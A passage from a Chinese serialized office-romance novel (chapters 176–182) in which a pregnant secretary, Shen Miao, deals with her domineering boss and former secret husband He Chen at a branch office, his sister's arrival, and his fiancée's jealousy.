贺懿每天饱受煎熬,她实在沉不住气了。
“奶奶,你说我哥去深城到底干什么的?”
贺老夫人,“工作呗。”
贺懿挠了挠头,“这该去深城的不去,不该去的倒是跑得挺快。”
“谁该去?”贺老夫人扒了下老花镜,看贺懿,“你想去?”
“不是我,何之洲啊。”贺懿振振有词,“你是不知道,何之洲最近每天都相亲,京北年轻女人都快被他相遍了!”
要不是贺家跟何家的关系没明面上那么好,只怕她都要跟何之洲相亲了。
“这你还看不明白吗?”贺老夫人叹息着,“肯定是何家不同意渺渺进门。”
“我去选个麻袋,把何之洲绑了,摁着他的头揍一顿,死渣男!”
贺懿气得牙痒痒。
她看来,何之洲那个浪荡子,根本配不上沈渺。
要是没有家世撑着,何之洲肯定是娶不上媳妇的货色。
“罢了,渺渺不愿让我们插手,我们……尊重她。”
贺老夫人一想到沈渺远在千里之外,孤身一人怀着孩子,就担心。
“奶奶,我觉得苗头不对。”
贺懿往楼上看了一眼,“程家闹了那一出,我妈挺不高兴的,不知道是生程家的气还是我哥的,她没地儿撒,这两天看我的眼神不对,我得溜。”
贺老夫人‘嗯’了一声,“你也去深城吧,看看你哥到底在搞什么鬼。”
“得嘞!”
有了贺老夫人支持,贺懿立马定了一张明天飞深城的机票。
那之前,她去了趟商场,置办两套行头。
谁知,就这么巧,遇上了何之洲跟一个年轻女人逛街。
更巧的是,贺懿跟那个女人相中了同一件衣服。
“你进去试。”
何之洲先贺懿一步,把衣服拿过来,让女人去试。
“好,谢谢之洲哥。”女人拿了衣服进更衣间。
贺懿气的鼻子快歪了,“死渣男。”
说完她转身要走。
面前忽然一晃,何之洲穿着花色系衬衫,快步走到她面前,拦住她去路。
“贺懿,我跟你无冤无仇吧,你一直找人跟踪我不说,现在还骂我,什么意思?”
何之洲早就发现,有人在背地里盯着他。
他查了查,才发现是贺懿的手笔。
贺懿比他小七岁,在他眼里就是小丫头片子一个。
他没放在心上。
谁知这一碰面,贺懿不光没好脸色,还骂他渣男。
“你就是死渣男!”贺懿不怕他,“整天左拥右抱,还把渺渺给气走了!”
何之洲知道沈渺调职去深城的时候,他也正头疼呢。
一边觉得沈渺走了这出戏没法继续唱。
一边又觉得自己那想法太罪恶了,对不起沈渺。
“等等,你把话说明白,什么叫我气得她?”
何之洲后知后觉反应过来。
周围人多,贺懿不好乱说话,她冷了何之洲一眼,“起来,好狗不挡道!”
“年纪不大脾气不小,回去告诉你哥,别再背后搞小动作,有本事面对面较量!”
何之洲落下手,给她腾出去路。
贺懿‘切’了一声,“我哥去深城了,没空跟你面对面呢!”
“你哥去深城了?”何之洲不由自主拔高音量。
贺忱竟然去深城了?他不会是……
何之洲一哆嗦,比贺懿还快一步离开,给助理打电话,“快,定去深城的机票……怕什么?我爸就是把我腿打断,今天我也要去深城!”
177.他这个麻烦精
“神经病。”
贺懿对他突然扭头就走,感到莫名其妙。
没听清楚他说了什么,转身去逛自己的,为去深城做准备。
——
早上六点,沈渺被闹铃吵醒。
她迅速关了手机,起床进浴室洗漱。
刚洗漱到一半,门铃声响起,一声接一声快而急。
她刷完牙,脸都没来得及洗,就跑过去开门。
“早餐。”
商音端着白色的小瓷盘,盘中的三明治精致诱人,是她亲手做的。
“好。”沈渺伸出手去端瓷盘。
她的手还没碰到盘子,就被商音推开。
“你洗你的,我给你端进去,正好你跟我说说贺忱到底怎么回事。”
商音径直进入室内,她洪亮的声音充斥在房间的每一个角落。
沈渺心口一紧,拔腿就追上去。
她压低声音道,“我着急去上班,回头再说。”
“着什么急,你不七点钟才出门呢,我特意早起过来,你别想逃避。”
商音放下早餐,一屁股坐在餐桌前,“你说贺忱来深城是帮忙的,可我也没见他帮你,反而三更半夜折腾你,真是个累赘,麻烦精,他——”
沈渺直冲她眨眼睛。
楼梯口,贺忱站在那里,眼眸惺忪显然是刚被吵醒的。
他微蹙的眉头,随着商音出口的每一句话,而拧得更紧。
“唔!”
沈渺动作迅速,捂住商音的嘴。
“贺总,你醒了。”
一个聪明人,会顺着她的话,当做没有听到。
凭沈渺对贺忱的了解,他就是那个聪明人。
商音一激灵,背脊突然爬上冷寒。
她渐渐回头,只用余光扫到贺忱在,就停止动作,又渐渐将头转回来了。
商音扒下沈渺的手,“到点带我儿子晨跑了,不说了我先走了,你拿着人家钱就该好好工作,别抱怨,走了昂。”
她把烂摊子留给沈渺不说,还往沈渺身上泼了脏水。
好像沈渺一直在跟她抱怨,贺忱是个累赘。
‘砰’
商音将门关得震天响。
沈渺的心抖了抖,她移开与贺忱对视的目光,清了清嗓子。
“贺总,你早餐吃什么,我去帮你做。”
“不用了。”
贺忱双手撑在栏杆上。
微敞的衬衫露出男人胸腹的薄肌,他俯视着沈渺。
不论脸色还是眼神都在表达:他这个麻烦精,怎么好意思麻烦下属帮他做早餐?
“不麻烦,你要是不嫌弃,就吃这一份,我等下去公司路上买一份就好。”
沈渺尽量让自己看起来与往常无异。
可贺忱的目光过于锐利,她有些招架不住的尴尬。
这股尴尬,落入贺忱眼里,化成了她在强忍他这个累赘。
贺忱直起身,将扣子一颗颗系上,缓步下楼来。
“十分钟后,去公司。”
沈渺颔首,“好。”
她立马去洗了把脸,换套衣服,装上早餐往外走。
还没到十分钟,可贺忱已经在车边等着了。
分部给贺忱预留了办公室,就在沈渺办公室隔壁。
等红绿灯时,沈渺给李白恬发了消息,让李白恬把贺忱的办公室收拾一下,让所有人严阵以待,迎接贺忱。
半小时后,公司分部门口,韩文松等人齐刷刷站了一排。
沈渺刚将车挺好,韩文松就跑过来开车门。
“贺总,您总算亲自过来了。”
这话说得另有深意,好似沈渺这个被贺忱派过来的人,多么的不靠谱。
贺忱微微阖着的眼皮轻睁了下,带着威严的目光落在韩文松身上。
这是韩文松第一次见贺忱,他只觉得浑身血液凝固,人都是麻的。
“沈秘书。”
贺忱薄唇轻启,吐出三个字。
沈渺会意,落下车窗来。
“半小时以后开会,在那之前别来打扰贺总。”
韩文松面色悻悻。
他知道贺忱是来给沈渺撑腰的。
可他没想到,贺忱这么冲,一点颜面都不给他留。
他将车门关上,后退两步让开位置。
沈渺将车开到地下停车场,下车后正准备给贺忱开车门,却见贺忱已经下来了。
贺忱关上车门,整理了下衬衫,阔步朝电梯走去。
沈渺快步跟上,“贺总,我昨天开除了公关部经理和安保部部长,等会会议韩文松一定会提这件事情。”
“嗯。”贺忱鼻腔里发出一个单音节。
赶在沈渺之间,他摁下电梯,“知道什么叫群龙无首吗。”
沈渺跟着他进入电梯,面露不解,“您想拿韩文松开刀?”
“韩文松都是轻的。”贺忱扭动手腕,目光渐渐蓄起冷意,“这段时间你跟韩文松周旋,不出大乱子就行,等韩董一倒台,韩文松也就解决了。”
贺忱向来不喜欢跟这些小兵小将过招。
韩董觉得他撕不开脸,对他一个百荣老董事,他偏要撕给韩董看看。
沈渺,“那您什么时候回京北?”
这话完全是沈渺下意识地问。
问完贺忱不满的目光就投过来了。
“我不是那个意思,韩董在京北。”
贺忱想直接跟韩董过招,当然要回京北。
“要动,但不是我先动,他比我更沉不住气。”
贺忱言简意赅。
电梯门开了,他阔步出去。
沈渺知道他已经有了计划,不再多问,跟出去。
她刚回到办公室,内线就被打通。
贺忱,“让人送套衣服还有洗漱用品过来。”
“是。”
沈渺挂电话,让李白恬去办这事儿。
贺忱的办公室里有休息室,约莫半小时后,衣服和洗漱用品都送过去了。
李白恬办好后来到沈渺办公室。
“沈总,韩经理他们都在会议室等着呢。”
“让他们等。”沈渺不急不缓。
等的是贺忱,他们不敢有一丝不满。
“贺总怎么突然来了?”
李白恬在她对面坐下,双手放在桌子上,像个小学生一样,“他是来给你撑腰的吗?”
沈渺看她一眼,纠正道,“是来给我们撑腰的。”
“哦对!”李白恬忙不迭点头,“我们都是贺总的人!”
沈渺被她的表情逗笑,“再去给贺总准备一份早餐,贺总不喜欢甜的。”
李白恬起身打了个敬礼的姿势,“收到!沈秘书真了解贺总,你吃了吗?要不要帮你也订一份?”
“不用,我这儿有。”沈渺将商音做的早餐拿出来,正欲吃一口——
电话内线被打通,贺忱的声音传来,“沈渺,我腕表落在你家了,派人去取。”
178.贺总的手表,怎么会在你家?
沈渺吃东西的动作顿住,早餐还没送到嘴里。
“好。”
她应声完,电话挂断。
一片死寂后,李白恬‘咦’了一声,“贺总的手表,怎么会在你家?”
“你去取。”沈渺把家门钥匙给她,“快去快回。”
李白恬接过车钥匙,小眼睛提溜转着打量沈渺。
沈渺只好又添一句,“昨天贺总高烧不退,他没带人来深城,所以是我照顾他的。”
“我就说嘛。”李白恬笑道,“你还怀着孕,肯定只是照顾贺总,啥也没发生。”
“???”
她不说还好,一说有种此地无银三百两的味道。
沈渺细眉一拧。
李白恬却已经往外走了,走到门口又停下来问,“那贺总的早餐……”
“你不用管了。”
沈渺联系五星级酒店,送了一份早餐过来。
又半小时过去。
贺忱短发半干,从浴室出来。
他骨节分明的手将扣子一颗颗系上,视线落在办公桌那份很合他胃口的早餐上。
保温盒上贴着一张便贴纸,沈渺的字迹清晰可见。
【饭后十分钟服药。】
沈渺已经将药单独装好,放在旁边了。
贺忱坐下,打开早餐盒子,没等吃上一口,手机就响了。
他扫了眼屏幕,拿起筷子开始吃东西。
电话一遍遍的响,他都无动于衷地吃着东西。
直到吃完最后一口,他抽了一张纸巾,擦了擦嘴,才不急不缓地接电话。
“贺忱哥,你……你跟沈渺到底怎么回事!”
程唯怡质问的语气,夹杂着委屈。
贺忱,“什么怎么回事。”
“你去深城的第一天,沈渺深夜去了你那儿,昨晚你去了她那儿!”
程唯怡一早就收到了两张照片,照片背面详细介绍了时间地点与人物的关系。
贺忱眸光一暗,转瞬涌上来冷意。
“把照片交给林昭,等林昭查清楚,你就知道怎么回事了。”
程唯怡不肯,“你想让人把照片拿走,当做这件事情不存在吗?”
“不做亏心事,不怕鬼敲门。”
贺忱嗓音涔涔,“我问心无愧。”
程唯怡总觉得,她再深问下去,贺忱就要问她,是不是问心无愧的!
“贺忱哥,我们还没有结婚,你就对我变心了……”
她绕开话题,试图往对自己有利的方向扯。
但贺忱不给她机会,“林昭安排的医生,你为什么不去。”
“我妈生病了,我一直在照顾她。”
程唯怡继续转移着话题,“贺忱哥,我妈最放心不下我了,她想看到我结婚。”
“程唯怡,我的耐心有限。”
贺忱有着绝对的话语权。
他不过两句话,就令程唯怡哑口无言。
这个婚还要不要结,怎么结,程唯怡都自己看着办。
贺忱挂了电话,给林昭发消息。
程唯怡那端被他挂了电话不过两分钟,就接到了林昭的电话。
“程小姐,贺总给您安排了国际有名的妇产科医生,您什么时候方便?”
不再是死板的定好时间,让程唯怡必须过去。
却透着一股强迫性,让程唯怡必须去看医生。
“我,我妈的身体还不好,等我腾出时间来,再联系你!”
程唯怡随便找了个借口,就准备挂电话。
林昭忙又开口,“程小姐,贺总让你把照片转发给我,还有发给你照片的IP。”
“知道了。”
不论贺忱跟沈渺在深城到底发生了什么。
有人故意把照片拍下来,发给她,就是挑拨她和贺忱的关系。
程唯怡前不久刚害了贺忱一次,这一次她不能再掉链子。
林昭收到照片后,回复了程唯怡一个‘OK’。
然后火速对这两张照片展开调查。
早就有调查方向,所以查到蛛丝马迹是不费力气的。
交代好一些,贺忱起身去了沈渺办公室。
“贺总,会议可以开始了吗?”
沈渺办公室的门开着,她站起来,走出办公桌。
贺忱在她办公桌旁停下,指尖敲了两下桌面。
“我们被人拍了,不确定新闻会不会被曝光,你可以提前跟张科研解释一下。”
一旦撕破脸,那照片在对方手上,对方极有可能选择鱼死网破,将照片发给媒体。
他倒是没什么。
主要是……沈渺。
沈渺一愣。
“哦,不用了,他……”
她想说张科研不会相信那些东西。
可是转而一想,此刻正是提她跟张科研‘分开’的好时机。
“我……”
沈渺支吾着,不知道该怎么说。
“怎么?”贺忱眉头一拢,“已经吵架了?”
“没有!”沈渺忙不迭摇头,“我跟张科研已,已经解释过了。”
到嘴的已经‘分手’,变成了‘解释过’。
沈渺低了低头,垂着的眼帘掩饰着眸底的懊恼。
贺忱凝着她,不知该说一句抱歉,给她带来麻烦。
还是夸一句张科研真大度。
“准备开会吧。”
他转身离开。
沈渺捏了捏眉心,她汲气,等会议结束再说吧。
一定要实话实说。
她暗暗下定决心。
会议室里,一片死寂。
韩文松他们坐的身体都僵硬了,心也越来越凉。
贺忱这次过来,一定要大肆整顿,第一个不保的就是他韩文松。
他的手在桌下,不断给韩董发消息。
韩董只回了一句:【他敢动你,就是主动撕破我们的关系,谁先撕破脸谁理亏。】
韩文松跟韩董的关系再亲近,也只是韩董跟贺忱斗争间的一颗棋子。
他只是韩董用来逼贺忱撕破脸的。
好在韩董很快又发了消息过来:【放心,我肯定会安排好你,给你留后路。】
不等韩文松再发消息,贺忱跟沈渺一前一后进入会议室。
高层们纷纷站起来打招呼。
“贺总,沈总……”
“贺总,沈总!”
主位放着两把椅子,一把在正中央,一把偏左边。
贺忱在主位坐下,他坐好后沈渺才去旁边的位置坐下。
“听说,最近分部发生了一些事情。”
贺忱双腿叠放,翘起的腿刚好抵在沈渺的椅子横栏上。
他身体是朝沈渺那边倾斜的。
这幅场景,任谁也知道,谁告沈渺的状,谁‘死’。
可韩文松不怕,他刚得了韩董留后路的准备。
“贺总,我们都知道沈秘书跟了您很多年,但她毕竟是个女流之辈,目光短浅,没学来您十分之一的精锐,让她做分部的总经理,不妥啊。”
179.到底发生了什么?你们复合了?
“谁坐妥。”
贺忱状似无意地反问,“你行你来?”
韩文松:“……”
“我觉得,韩少就很适合这个位置。”他鼓起勇气说。
贺忱,“跟了我好几年的都不适合坐这个位置,韩城光一天没跟过,更不适合了。”
他目光从韩文松身上移开,面色也在一瞬变得阴沉。
“还有谁对沈总有意见。”
高层们下意识看向韩文松。
韩文松一肚子里窝在喉咙里说不出来,脸色铁青却又不敢发作。
被贺忱身上那股凌人的气息拿捏得死死的。
他们纷纷摇头,低下头去,一言不发。
“新团队需要时间磨合,希望你们彼此多包容。”
贺忱薄唇轻启,说完他看向沈渺。
“你有什么不适应的地方及时给我打电话,总部有的是人,想要哪个要哪个。”
这话的意思是,看他们哪个不顺眼开哪个,百荣总部的高层随便往这边调。
只要沈渺一句话,他不问理由不管对错。
全军覆灭性的强势压迫,让整个会议室死气沉沉。
他独有的一丝纵容,留给了沈渺。
别说跟他这么多年,就连那两年的隐婚。
沈渺都不曾受到过贺忱这般明目张胆的偏袒。
“谢谢贺总,目前看来还不需要。”
“你们还有问题吗。”
贺忱睨了眼在场的人。
在场的人纷纷摇头。
唯独韩文松,脸色青红交加,不服但又说不出口。
“韩经理有话可以直说。”
贺忱点名。
韩文松,“贺总都这么说了,我没什么好说的。”
“韩经理听起来对我的话很不满。”
贺忱调整了下坐姿,却依旧是朝沈渺那边倾斜的。
他说,“我这个人向来是公平公正的,你要是真不满可以走人。”
众人:“???”
韩文松一片死寂的沉默。
“沈总,人交给你了。”贺忱又朝沈渺看过来,“他想走就成全他,百荣不勉强留人。”
任谁也想不到,金字塔尖上的男人,会这般儿戏地决定一个人去留。
在绝对的权利面前,韩文松的不满太微不足道了。
可以说,像贺忱这个位置的人,根本不屑于跟他面对面的解决事情。
直接把人都解决了,简单快速。
“散会。”
贺忱丢下两个字,起身离开。
他走出会议室后,沈渺才站起来,她轻敲了两下会议桌。
“韩经理,走的话把辞职报告送到我办公室。”
说完,她也走了。
两人离开后,会议室数十人未曾发出一点声响,静的能听见彼此的心跳和呼吸声。
沈渺想跟贺忱谈谈张科研的事情。
奈何贺忱走得太快,她再出来时,贺忱已经回了办公室。
算了,贺忱找了张科研那一次,以后应该也不会再找。
沈渺回到办公室,电脑上的微信发出‘叮咚叮咚’连续几声。
她快步过去坐下。
全都是商音发来的消息。
【我靠,我回家以后又睡了个回笼觉,觉得我早上梦游了,才在你家看到贺忱!】
【我刚才还去确认了一遍,遇上你的秘书来给贺忱拿手表!】
【沈渺,我他妈不让你跟贺忱往来,你倒好,直接把人带家里来了?】
【昨晚到底发生什么了?你们复合了!?】
【不是,你还怀着孕呢,你心里有数吧?】
一句比一句离谱的话,看得沈渺眉头直拧。
【你要不要去网上看看贺忱跟程唯怡的婚礼进度?】
昨天明黎艳还在公开酒会上,提到了婚事进展筹办得很顺利呢。
商音:【SO?你这么不理智,在他还没有跟另外一个女人解除婚礼时,就答应复合了?】
沈渺:【贺忱生病了,没人管,我把他带到我家照顾一晚,仅此而已。】
那端,商音好半天没回。
就在她以为,商音已经把她解释的话听进去了时。
商音又来了句:【他要是死了,孩子就彻彻底底是你一个人的了。】
沈渺语塞。
【今晚还把他带回家不?】
【不带了。】
沈渺想到刚才男人意气风发的样子,应该是好了。
商音:【秦医生也来了,他怎么不照顾贺忱。】
打字太累,沈渺索性拨通了商音的电话。
“秦医生说有事,不能照顾他,你怎么知道秦医生来了?”
商音的声音夹杂着商商咿咿呀呀的叫声。
“我看到秦医生发朋友圈了,他昨天爬山了,就是挺没空的呢,爬山也不管贺忱的死活,见过塑料姐妹花,没见过塑料兄弟情的。”
她阴阳怪气,也不知道是真为秦川跟贺忱的兄弟情谊。
还是又在变相讥讽沈渺,不该把贺忱带回家。
沈渺脑仁一阵大。
“你别添乱了,先挂了。”
“等等,过两天产检,你把工作处理好,到时候我陪你去。”
商音帮她预约的妇产科医生。
沈渺应声,挂了电话。
临近中午,沈渺让李白恬去问贺忱,定哪家的午餐。
约莫五六分钟,李白恬就回来了。
“沈总,贺总说他不饿,不吃了。”
沈渺沉吟片刻道,“你去定一份粥,送到贺总办公室,提醒他吃药。”
李白恬一屁股在沈渺对面坐下。
“贺总生病了啊?”
沈渺点头,“对,你再去提醒一下贺总,量测体温。”
“我,我不想去。”
李白恬一脸愁容,“贺总看起来好凶啊,我以前在总部就最怕他了,没想到跑到这儿来,还是能看到他,他什么时候走啊?”
沈渺摇头,她也想知道,贺忱什么时候走。
“那他来干什么的啊?”李白恬又问。
“应该是为了上次的新闻,他怕我搞不定?”
沈渺语气不确定极了。
“我到点吃饭了,先走了,你自己去问贺总吧!”
仗着跟沈渺熟,李白恬‘以下犯上’,把烂摊子丢给沈渺逃之夭夭了。
沈渺只能自己去贺忱办公室。
她先定了一份粥,待粥送到后,才起身过去。
她敲响办公室门,门内传来男人富有磁性的声音。
“进。”
沈渺推门而入。
“贺总,吃点东西吧,药不能空腹吃。”
贺忱正在远程处理林昭发过来的工作。
他眼皮轻掀了下,又落回去。
“放下吧。”
沈渺将粥放在桌子上,“这两天您生病,一定耽误了不少工作,林助还几次找不到您,您还是尽快回京北吧,免得耽误了工作。”
180.两个人的感情,谁也插不了手
贺忱敲击着键盘的动作一顿。
他锐利的目光倏地看向沈渺。
沈渺发誓,她只是顺口提了一句。
可落在贺忱耳朵里,就是迫不及待的赶他回京北。
“沈渺,过河拆桥也没你这么快的。”
沈渺忙不迭摇头,“我是怕您耽误了工作。”
贺忱靠在椅背上,目光如注地看着她。
“放心,今天不用你照顾。”
沈渺承认,是想让他快点走。
可她说的也没错,贺忱在这里远程处理工作,进度就是慢。
“那就好,希望贺总照顾好自己的身体,免得再出状况。”
她眯起眼睛微微笑了笑,“没别的事我先出去了。”
贺忱觉得她那客气的笑容,假的刺眼。
前脚出贺忱办公室,后脚沈渺的笑容就消失了。
她揉了揉发酸的腮帮,轻吸了两下鼻子,回办公室。
下午刚上班,李白恬就拿着一份资料过来了。
“沈总,这是总部调过来的公关部经理,您看看。”
“总部调过来的?”
沈渺惊讶,她拿过简历打开。
“提拔的下面的人,不是总部的公关部经理。”
李白恬拔长脖子看过来,“你快看看是谁,我认识不。”
她稍微打听了一下,只知道是提拔的其他人,具体是谁不清楚。
沈渺把简历拿出来,一看名字,人懵了。
贺懿。
“贺懿?”李白恬也看到了,她‘嘶’了一声,“有这么个人吗?我怎么不记得?”
贺懿在公司相当低调,毕竟京北姓贺的人不多。
她生怕别人会把她跟贺忱扯上关系。
“人来了吗?”
“刚把资料递过来走了,人事部安排的事明天一早来报道。”
李白恬想了想说,“我只看到了一个背影,挺年轻的。”
“你去忙吧。”
沈渺拿过手机,正准备给贺懿发消息。
李白恬又放下了一张红色请柬,“高家夫妇结婚纪念日,邀请您去,这是请柬。”
“什么时候。”沈渺问了句。
“明天晚上。”李白恬说,“上次您给高太太买的礼物送出去了吗?”
沈渺摇头,“再去选一个礼物,明天一起带过去。”
不过,贺忱没来之前,她负责深城所有的应酬。
现在贺忱来了,她得问问贺忱去不去。
沈渺去了贺忱办公室一趟,敲了半天门却没有人应声。
她将门推开一条缝,偌大的办公室里静悄悄的,办公桌前没人。
中午她送来的午餐还摆在那里。
沈渺不由地拧眉,推开门走进去。
休息室的门敞开着一条缝隙,室内拉着窗帘。
半开的窗户吹动窗帘,透进来的光亮打在床上。
依稀可见一抹拢起的身影躺在那里。
沈渺快步进入休息室。
均匀的呼吸声传来,贺忱侧躺着,面容轮廓紧绷,眉头微微蹙着,看起来不是很舒服。
她走上前去,伸出手探了探男人的额头。
温度不高,没发烧,沈渺舒一口气。
许是这两天生病,他太过疲乏,才会在这个点儿睡觉。
沈渺的手还未来得及缩回来,猛地被男人圈住了手腕。
她呼吸一滞,低头对上贺忱豁然睁开,睡意还未完全褪去的双眸。
“抱歉,打扰你休息了,我以为你又不舒服。”
沈渺压低音量,轻轻扭动手腕,想摆脱他的钳制。
贺忱手上动作一松,撑着身体坐起来。
“我没事。”
“你怎么没吃饭?”沈渺问。
贺忱,“放心,吃药了。”
沈渺:“???”
医生特意交代,药不能空腹吃。
他还不如不吃呢。
沈渺还想说些什么,可是对上他漆黑如墨的目光。
她喉咙一紧,将关心的话收回去。
“高家夫妇结婚纪念日,发来了请柬,明天晚上,您去吗?”
“结交一下高家人,对你在这边有好处。”
贺忱言简意赅,“你跟我一起去。”
沈渺,“好。对了,贺懿来深城了,被调职为分部的公关部经理。”
调职的事情,是贺老爷子一手操控的。
贺懿都在深城落地了,贺忱才知道这件事情。
“她资历尚浅,按理说不该坐这个位置,不过这边情况特殊,忠心度比个人能力更重要。”
“我会照顾好她的。”
沈渺下意识接话。
她说完,贺忱就掀起眼皮,又朝她看过来。
她忙解释道,“就算来的不是她,是别人,我也会好好照顾。”
“是吗。”贺忱轻飘飘的两个字,别有意味般的尾音略颤。
“是,不打扰您休息了,我先出去工作。”
沈渺转身往外走,略显宽松的衣服,让她看起来比以前褪去几分锐利和气场。
贺忱扯了扯领带,心底有股说不出的感觉。
乍然响起的铃声,将他从那股情绪中拉出。
是林昭打来的电话。
他抄过手机接起。
“贺总,有个文件发到您邮箱了,急需处理。”
“知道了。”
贺忱嗓音涔涔,他起身走出休息室。
林昭,“最近微克的老总有惹您不高兴吗?”
陈庆?
除了上次贺忱想要张科研,陈庆不给之外,他们几乎没有交集。
而那件事,他并未放在心上。
“说重点。”
林昭‘嘶’了一声,“昨天我在酒会遇上陈庆,他让我向您问好,希望别因为私事影响了合作。”
“就这些?”贺忱跟陈庆合作多年,陈庆应该了解他,不会为了那一点小事生气。
林昭仔细回忆了一下陈庆的话,又说,“陈庆说他女儿喜欢上了他公司的职员张科研,就之前跟沈秘书闹传闻的那个,还说两个人的感情,谁也插不了手。”
“陈庆的女儿跟张科研?”
贺忱的声音顿时冷冽入骨。
林昭听出他声音不对,忙说了句,“之前沈秘书跟张科研只是传言,到底有没有交往,我们不清楚……”
贺忱默不作声,面部轮廓逐渐锐化锋利。
电话里一阵死寂,不知过了多久,他冷声道,“你给陈庆打电话,让他把张科研开了,否则合作取消。”
“啊?”林昭不明白,贺忱突如其来的情绪,从何而来。
但贺忱不解释,他便照做。
挂了电话,贺忱的面色阴郁,打通内线,“沈渺,你过来一趟。”
181.你身上都有他的影子了
“贺总,怎么了?”
沈渺听出贺忱的语气非常不好。
她不由得往贺忱办公室方向看了一眼。
那端静默数秒,男人的声音再度传来,“没事了。”
内线被挂断。
沈渺收回目光,平缓的眉头微微拧起。
一下午,贺忱都在办公室里没出来,他办公室的门紧闭着。
她埋头继续工作。
直到忙完手头的工作,她看了看时间,快五点了。
她可以按时下班。
而贺忱一下午都在办公室没出来。
沈渺沉了沉,掏出手机给贺懿发微信。
【你来深城,怎么不提前说一声?】
贺懿发了个鬼脸过来:【想给你一个惊喜的,你怎么提前知道了?】
沈渺:【你来调职通知里带着简历。】
贺懿:【那,今晚一起吃饭?你请,替我接风洗尘,带我吃遍深城的美味!】
沈渺:【你哥生病了,今晚你来照顾他一下吧。】
当即,贺懿的电话拨过来了。
“我哥壮得跟牛一样,怎么会生病?”
沈渺,“真的,昨天烧得连药都吃错了,半夜我又送他到急诊。”
贺懿‘咦’了一声,不乏嫌弃。
“怎么还闹这么严重?我是来这儿躲清静的,可不是来给他收尸的,算了,我给他打个电话问问。”
沈渺‘嗯’了一声,“改天再请你吃饭。”
“好。”
贺懿痛快答应。
结束了跟沈渺的通话,她立马给贺忱打过去。
电话响了许久,贺忱才接。
“哥,我来深城了。”
贺忱,“知道了。”
贺懿,“你病好些了吗?”
她不提‘病’这个字,贺忱都忘记,自己现在是病人。
他看了看指缝里夹着的烟支,思忖片刻才开口。
“谁跟你说的。”
“渺渺说的。”
贺懿的嫌弃渐渐显露了些,“大男人还会水土不服?怎么还发烧吃错药,来深城时好好的,烧成个傻子回去,怎么办啊。”
贺忱眼皮轻掀,透过窗户,刚好看到沈渺从办公室出来。
她穿着浅米色的针织衫,长裙到脚踝,背着黑色的包。
看样子是准备下班。
“哥,哥你有没有在听啊?”
贺懿说了半天,没得到回应,她拔高音量又说一遍。
“你是在华东壹号院住吗?我现在过去。”
贺忱,“我这几天住公司。”
贺懿那端一阵细琐,她都换好衣服打算过去了。
“也行,公司有保安,你要不行了可以求救,住家里凉了都没人知道。”
“你不说话,没人把你当哑巴。”
贺忱训斥两句,没心情跟贺懿扯皮,挂了电话。
但贺懿还是不放心,给他发消息,叮嘱他按时吃药,不舒服及时打电话。
——
沈渺驱车回家,进门就迎上商音审视的目光。
这个点商音还没直播,知道她今天回来早,抱着商商坐在她家沙发上等她。
沈渺一只脚刚踏进来,就被商音目光洗礼了一番。
待她走进了,商音抱着商商站起来,摸索着她衣服口袋,顺势手还在她前凸后翘的身材上,捏了一把。
“有病!?”沈渺一把拍开她的手。
商音,“我检查一下,你有没有偷偷把贺忱藏在口袋里,带回来!”
她音量拔得高高的,商商晃着脑袋,盯着沈渺,也跟着‘啊’了一声。
沈渺捏了捏商商的小脸。
“真的只是生病,所以他临时在我家借住一晚。”
“现在病好了?”商音搂着商商回沙发上坐下。
沈渺脱掉外套,也坐下来,把商商抱怀里来。
“差不多了吧,贺懿来了,会照顾他。”
商音拉成尾音‘哦’了声,“难怪你不把他带回来,感情是有人照顾了啊。不过怎么是贺懿,贺忱的准新娘呢?”
婚期临近,两个人应该正是甜蜜的时候。
提到程唯怡,沈渺脸上的笑容浅了浅。
“不知道。”
商音把商商从她怀里抱过来。
“行了,让干妈去洗手换套衣服,咱们去吃饭了。”
育儿嫂已经准备好晚餐了。
沈渺起身上楼,简单洗漱后换了套家居服下来,跟着商音去她那边。
育儿嫂的手艺很好,做的一手南方小炒菜。
别说商音这个贪嘴的,就连沈渺对吃不怎么感兴趣的,都赞不绝口。
“明天有时间的话,陪我去商场试礼服,有宴会。”
沈渺明天上午去安排贺懿入职,下午提前离场,为晚上的宴会做准备。
商音点头,“正好,商商也该买换季衣服了,京北这时候还不算热,深城现在都算夏天了。”
“行,不过买完我要去参加宴会,你自己回来。”
沈渺看了看商商,“你一个人带他回家,能行吗。”
“我让昭姐跟着就行了。”
育儿嫂比沈渺和商音都大,她们统一喊昭姐。
昭姐正在给商商喂辅食,爽快点头,“成,你们年轻不懂小孩的衣服买什么面料,我帮你们看看。”
几人商议好,晚饭过后,沈渺回了自己那儿。
接连两日都折腾到半夜,今天洗漱后早早上床,她却睡不着了。
刚进六月,深城就已经热得冒汗,晚上也不能缓解。
燥热让沈渺一整宿都翻来覆去。
早上她盯着两个黑眼圈到公司,在门口就遇上了来报道的贺懿。
贺懿穿着白色衬衫半袖,过膝的长裙。
脚底踩着五公分的高跟鞋,一脸严肃地站在那里,整个人有几分拘谨。
她看到沈渺时,眼睛一亮,很快又压了压眸色里的欣喜。
“沈总,我是总部调过来的,贺懿,请多多关照。”
沈渺觉得她一本正经的样子,挺好笑。
“彼此关照,走吧,我带你去部门报道。”
她带着贺懿上八楼,整个公关部加起来十几个人。
知道今天新上司来报道,他们纷纷中规中矩坐在工位上。
沈渺领着贺懿一进来,他们挺直腰板暗中打量。
“这位是总部调过来的公关部经理贺懿,在总部工作很久,十分有工作经验。”
“贺经理真是年轻有为!”
“贺经理长得真漂亮。”
贺懿站在沈渺旁边,比起沈渺有几分职场的稚嫩。
但她装模作样地与众人寒暄。
“以后请多多关照。”
浅浅打了个招呼后,沈渺让贺懿放下公文包,拿着笔记本上顶楼开会。
她还要把贺懿介绍给其他部门的高层。
两人进入电梯,贺懿紧绷的身体松懈下来。
“渺渺,跟我哥久了,你身上都有他的影子了,刚刚看到你从车上下来,我还以为我哥来了。”
贺懿小声笑着说。
182.之所以来深城,是因为她在这儿
“注意分寸,别乱说话。”
沈渺侧目看了贺懿一眼。
贺懿立马改口,“沈总。”
“我说的不是称呼。”沈渺给她一个眼神,让她自己品。
贺懿吐了吐舌头,“谁能因为我两句话,就想到我哥跟你结过婚,上过床?”
沈渺:“……”
电梯‘叮’的一声开了。
电梯外,贺忱单手插兜站在那里。
他眉尾轻佻着,打量电梯里的两人。
“哥……贺总。”贺懿绕口改话,“我是公关部新来的贺经理。”
沈渺被贺忱打量的眼神,盯得头皮发麻。
“贺总。”
贺忱鼻腔里发出一个单音节,进入电梯。
沈渺跟贺懿赶紧出来,埋头往前走。
“工作时间,禁止闲聊。”
贺忱的声音顺着缓缓关闭的电梯门,传出来。
两人脚步一顿。
沈渺不禁闭了闭眼睛,不忍回想刚才的画面。
贺懿则回头看了一眼,只看到关上的电梯门。
